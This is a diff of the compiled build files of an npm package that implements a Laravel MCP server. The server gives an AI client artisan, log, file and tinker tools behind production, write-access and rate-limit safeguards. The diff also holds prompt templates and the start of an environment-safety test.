@falzz1010/laravel-mcp-server 1.0.0

package/build/index.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=index.d.ts.map

package/build/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":""}

package/build/index.js

@@ -0,0 +1,101 @@
+import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
+import { parseConfig } from "./utils/config.js";
+import { validateLaravelPath, checkEnvironment } from "./utils/security.js";
+import { findPhpBinary, killAllChildren } from "./utils/process.js";
+import { initAuditLogger, logAudit } from "./utils/audit.js";
+import { RateLimiter } from "./utils/rate-limiter.js";
+// Tools
+import { registerRunArtisanTool } from "./tools/run-artisan.js";
+import { registerReadLogsTool } from "./tools/read-logs.js";
+import { registerListRoutesTool } from "./tools/list-routes.js";
+import { registerReadEnvTool } from "./tools/read-env.js";
+import { registerReadFileTool } from "./tools/read-file.js";
+import { registerWriteFileTool } from "./tools/write-file.js";
+import { registerRunTinkerTool } from "./tools/run-tinker.js";
+// Resources & Prompts
+import { registerLaravelResources } from "./resources/laravel-info.js";
+import { registerLaravelPrompts } from "./prompts/laravel-prompts.js";
+async function main() {
+    const config = parseConfig(process.argv);
+    // 1. Validate target directory is a valid Laravel project
+    try {
+        validateLaravelPath(config.laravelPath);
+    }
+    catch (err) {
+        console.error(`[FATAL ERROR] Invalid Laravel path: ${err.message}`);
+        process.exit(1);
+    }
+    // 2. Check environment safety (refuse to run in production)
+    try {
+        checkEnvironment(config.laravelPath);
+    }
+    catch (err) {
+        console.error(`[FATAL ERROR] ${err.message}`);
+        process.exit(1);
+    }
+    // 3. Verify PHP binary exists
+    try {
+        await findPhpBinary(config.phpBinary);
+    }
+    catch (err) {
+        console.error(`[FATAL ERROR] ${err.message}`);
+        process.exit(1);
+    }
+    // 4. Initialize Audit Logger
+    const sessionId = initAuditLogger(config.laravelPath);
+    console.error(`[INFO] Laravel MCP Server initialized.`);
+    console.error(`[INFO] Session ID: ${sessionId}`);
+    console.error(`[INFO] Target Project: ${config.laravelPath}`);
+    console.error(`[INFO] Write Access: ${config.allowWrite ? "ENABLED" : "DISABLED"}`);
+    console.error(`[INFO] Tinker Access: ${config.allowTinker ? "ENABLED" : "DISABLED"}`);
+    if (config.dryRun) {
+        console.error(`[INFO] Dry-Run Mode: ENABLED (No commands will be executed)`);
+    }
+    // 5. Initialize Rate Limiter
+    const rateLimiter = new RateLimiter({
+        maxRequestsPerMinute: config.rateLimit,
+        maxRequestsPerHour: 500,
+        cooldownMs: 2000,
+    });
+    // 6. Initialize McpServer
+    const server = new McpServer({
+        name: "laravel-mcp-server",
+        version: "1.0.0",
+    });
+    // 7. Register Tools
+    registerRunArtisanTool(server, config, rateLimiter);
+    registerReadLogsTool(server, config);
+    registerListRoutesTool(server, config);
+    registerReadEnvTool(server, config);
+    registerReadFileTool(server, config);
+    registerWriteFileTool(server, config);
+    registerRunTinkerTool(server, config);
+    // 8. Register Resources & Prompts
+    registerLaravelResources(server, config);
+    registerLaravelPrompts(server, config);
+    // 9. Connect Transport
+    const transport = new StdioServerTransport();
+    // Handle graceful shutdown
+    const shutdown = async (signal) => {
+        console.error(`[INFO] Received ${signal}, shutting down server...`);
+        logAudit({
+            tool: "server_shutdown",
+            tier: "READ_ONLY",
+            status: "ALLOWED",
+            reason: `Signal ${signal}`,
+        });
+        killAllChildren();
+        process.exit(0);
+    };
+    process.on("SIGINT", () => shutdown("SIGINT"));
+    process.on("SIGTERM", () => shutdown("SIGTERM"));
+    await server.connect(transport);
+    console.error("[INFO] Laravel MCP Server running on stdio transport.");
+}
+main().catch((err) => {
+    console.error("[FATAL SERVER ERROR]", err);
+    killAllChildren();
+    process.exit(1);
+});
+//# sourceMappingURL=index.js.map

package/build/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}

package/build/prompts/laravel-prompts.d.ts

@@ -0,0 +1,4 @@
+import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+import { ServerConfig } from "../utils/config.js";
+export declare function registerLaravelPrompts(server: McpServer, config: ServerConfig): void;
+//# sourceMappingURL=laravel-prompts.d.ts.map

package/build/prompts/laravel-prompts.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"laravel-prompts.d.ts","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAE,MAAM,yCAAyC,CAAC;AAEpE,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAIlD,wBAAgB,sBAAsB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CA0FpF"}

package/build/prompts/laravel-prompts.js

@@ -0,0 +1,81 @@
+import { z } from "zod";
+import { findLogFile, readLastLines, readFileContent } from "../utils/file.js";
+import { isPathSafe } from "../utils/security.js";
+export function registerLaravelPrompts(server, config) {
+    // 1. Prompt: debug-error
+    server.registerPrompt("debug-error", {
+        description: "Reads recent Laravel error log entries and asks the AI to analyze the cause and solution.",
+        argsSchema: {
+            lines: z.string().optional().describe("Number of log lines to inspect (default: 50)"),
+        },
+    }, async ({ lines = "50" }) => {
+        let logContent = "";
+        try {
+            const lineCount = parseInt(lines, 10) || 50;
+            const logFile = await findLogFile(config.laravelPath);
+            logContent = await readLastLines(logFile, lineCount);
+        }
+        catch (err) {
+            logContent = `Could not read log file: ${err.message}`;
+        }
+        return {
+            messages: [
+                {
+                    role: "user",
+                    content: {
+                        type: "text",
+                        text: `Here are the latest log entries from the Laravel application:\n\n\`\`\`\n${logContent}\n\`\`\`\n\nPlease analyze the errors, identify the root cause, and provide a step-by-step fix including code snippets or artisan commands required.`,
+                    },
+                },
+            ],
+        };
+    });
+    // 2. Prompt: create-crud
+    server.registerPrompt("create-crud", {
+        description: "Generates instructions to create a complete CRUD (Model, Migration, Controller, Request, Routes) for an entity.",
+        argsSchema: {
+            model_name: z.string().describe("Name of the model in PascalCase (e.g. 'Product', 'OrderItem')"),
+            fields: z.string().describe("Comma-separated list of fields and types (e.g. 'title:string, price:decimal, status:enum')"),
+        },
+    }, async ({ model_name, fields }) => {
+        return {
+            messages: [
+                {
+                    role: "user",
+                    content: {
+                        type: "text",
+                        text: `I need to create a complete CRUD in my Laravel application for entity: **${model_name}**.\nFields: ${fields}\n\nPlease generate:\n1. Artisan command to create Model with Migration and Controller\n2. Migration schema code\n3. Model mass assignment & relationships\n4. Resource Controller code (index, store, show, update, destroy)\n5. Form Request validation rules\n6. Route definitions for routes/api.php or routes/web.php`,
+                    },
+                },
+            ],
+        };
+    });
+    // 3. Prompt: review-code
+    server.registerPrompt("review-code", {
+        description: "Reads a Laravel source code file and requests a security, performance, and best practices code review.",
+        argsSchema: {
+            file_path: z.string().describe("Relative path to source file (e.g. 'app/Http/Controllers/ProductController.php')"),
+        },
+    }, async ({ file_path }) => {
+        let content = "";
+        try {
+            const safePath = isPathSafe(file_path, config.laravelPath);
+            content = await readFileContent(safePath);
+        }
+        catch (err) {
+            content = `Could not read file: ${err.message}`;
+        }
+        return {
+            messages: [
+                {
+                    role: "user",
+                    content: {
+                        type: "text",
+                        text: `Please perform a comprehensive code review for the following Laravel file (\`${file_path}\`):\n\n\`\`\`php\n${content}\n\`\`\`\n\nEvaluate:\n1. Laravel conventions & best practices (Repository pattern, Form Requests, Resources)\n2. Security vulnerabilities (SQL Injection, XSS, CSRF, Mass Assignment)\n3. Performance bottlenecks (N+1 queries, unindexed columns, heavy loops)\n4. Refactoring recommendations with concrete code blocks.`,
+                    },
+                },
+            ],
+        };
+    });
+}
+//# sourceMappingURL=laravel-prompts.js.map

package/build/prompts/laravel-prompts.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"laravel-prompts.js","sourceRoot":"","sources":["../../src/prompts/laravel-prompts.ts"],"names":[],"mappings":"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"}

package/build/resources/laravel-info.d.ts

@@ -0,0 +1,4 @@
+import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+import { ServerConfig } from "../utils/config.js";
+export declare function registerLaravelResources(server: McpServer, config: ServerConfig): void;
+//# sourceMappingURL=laravel-info.d.ts.map

package/build/resources/laravel-info.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"laravel-info.d.ts","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,SAAS,EAAoB,MAAM,yCAAyC,CAAC;AAEtF,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAMlD,wBAAgB,wBAAwB,CAAC,MAAM,EAAE,SAAS,EAAE,MAAM,EAAE,YAAY,GAAG,IAAI,CAiHtF"}

package/build/resources/laravel-info.js

@@ -0,0 +1,99 @@
+import { ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
+import path from "node:path";
+import { readFileContent } from "../utils/file.js";
+import { maskEnvValues } from "../utils/security.js";
+import { runArtisan } from "../utils/process.js";
+import { logAudit } from "../utils/audit.js";
+export function registerLaravelResources(server, config) {
+    // 1. Static Resource: laravel://env
+    server.registerResource("laravel_env", "laravel://env", {
+        title: "Laravel .env File (Masked)",
+        description: "Static read-only view of the Laravel .env configuration file with masked credentials.",
+        mimeType: "text/plain",
+    }, async (uri) => {
+        const envPath = path.join(config.laravelPath, ".env");
+        try {
+            const raw = await readFileContent(envPath);
+            const masked = maskEnvValues(raw);
+            logAudit({
+                tool: "resource://laravel_env",
+                tier: "READ_ONLY",
+                status: "ALLOWED",
+            });
+            return {
+                contents: [
+                    {
+                        uri: uri.href,
+                        mimeType: "text/plain",
+                        text: masked,
+                    },
+                ],
+            };
+        }
+        catch (err) {
+            return {
+                contents: [
+                    {
+                        uri: uri.href,
+                        mimeType: "text/plain",
+                        text: `Error reading .env: ${err.message}`,
+                    },
+                ],
+            };
+        }
+    });
+    // 2. Static Resource: laravel://routes
+    server.registerResource("laravel_routes", "laravel://routes", {
+        title: "Laravel Defined Routes",
+        description: "Static view of all application routes in JSON format.",
+        mimeType: "application/json",
+    }, async (uri) => {
+        const result = await runArtisan("route:list", ["--json"], {
+            laravelPath: config.laravelPath,
+            phpBinary: config.phpBinary,
+            timeoutMs: config.commandTimeout,
+        });
+        logAudit({
+            tool: "resource://laravel_routes",
+            tier: "READ_ONLY",
+            status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
+        });
+        return {
+            contents: [
+                {
+                    uri: uri.href,
+                    mimeType: "application/json",
+                    text: result.stdout || "[]",
+                },
+            ],
+        };
+    });
+    // 3. Dynamic Resource Template: laravel://config/{key}
+    server.registerResource("laravel_config_key", new ResourceTemplate("laravel://config/{key}", { list: undefined }), {
+        title: "Laravel Config Key Lookup",
+        description: "Retrieve a specific configuration value (e.g. app.name, database.default)",
+        mimeType: "application/json",
+    }, async (uri, { key }) => {
+        const keyStr = Array.isArray(key) ? key[0] : key;
+        const result = await runArtisan("config:show", [keyStr], {
+            laravelPath: config.laravelPath,
+            phpBinary: config.phpBinary,
+            timeoutMs: config.commandTimeout,
+        });
+        logAudit({
+            tool: `resource://laravel_config/${keyStr}`,
+            tier: "READ_ONLY",
+            status: result.exitCode === 0 ? "ALLOWED" : "ERROR",
+        });
+        return {
+            contents: [
+                {
+                    uri: uri.href,
+                    mimeType: "application/json",
+                    text: JSON.stringify({ key: keyStr, value: result.stdout.trim() }),
+                },
+            ],
+        };
+    });
+}
+//# sourceMappingURL=laravel-info.js.map

package/build/resources/laravel-info.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"laravel-info.js","sourceRoot":"","sources":["../../src/resources/laravel-info.ts"],"names":[],"mappings":"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"}

package/build/tests/full-security-audit.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=full-security-audit.test.d.ts.map

package/build/tests/full-security-audit.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"full-security-audit.test.d.ts","sourceRoot":"","sources":["../../src/tests/full-security-audit.test.ts"],"names":[],"mappings":""}

package/build/tests/full-security-audit.test.js

@@ -0,0 +1,226 @@
+import test from "node:test";
+import assert from "node:assert/strict";
+import fs from "node:fs";
+import path from "node:path";
+import os from "node:os";
+import { checkEnvironment, classifyCommand, isCommandAllowed, sanitizeArgs, validateDangerousFlags, sanitizeTinkerCode, isPathSafe, isWriteAllowed, } from "../utils/security.js";
+import { RateLimiter } from "../utils/rate-limiter.js";
+import { parseConfig } from "../utils/config.js";
+import { initAuditLogger, logAudit } from "../utils/audit.js";
+import { writeFileContent } from "../utils/file.js";
+// ============================================================================
+// COMPREHENSIVE SECURITY AUDIT TEST SUITE (10-GATE SAFETY VERIFICATION)
+// ============================================================================
+test("Gate 1: Environment Safety Gate (Production Block)", () => {
+    const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "laravel-env-test-"));
+    const envPath = path.join(tmpDir, ".env");
+    // Production check -> MUST THROW FATAL ERROR
+    fs.writeFileSync(envPath, "APP_NAME=Laravel\nAPP_ENV=production\n");
+    assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
+    // Capitalized PRODUCTION check
+    fs.writeFileSync(envPath, "APP_ENV=\"PRODUCTION\"\n");
+    assert.throws(() => checkEnvironment(tmpDir), /refuses to start when APP_ENV=production/i);
+    // Staging check -> Allowed with stderr warning
+    fs.writeFileSync(envPath, "APP_ENV=staging\n");
+    assert.doesNotThrow(() => checkEnvironment(tmpDir));
+    // Local check -> Allowed
+    fs.writeFileSync(envPath, "APP_ENV=local\n");
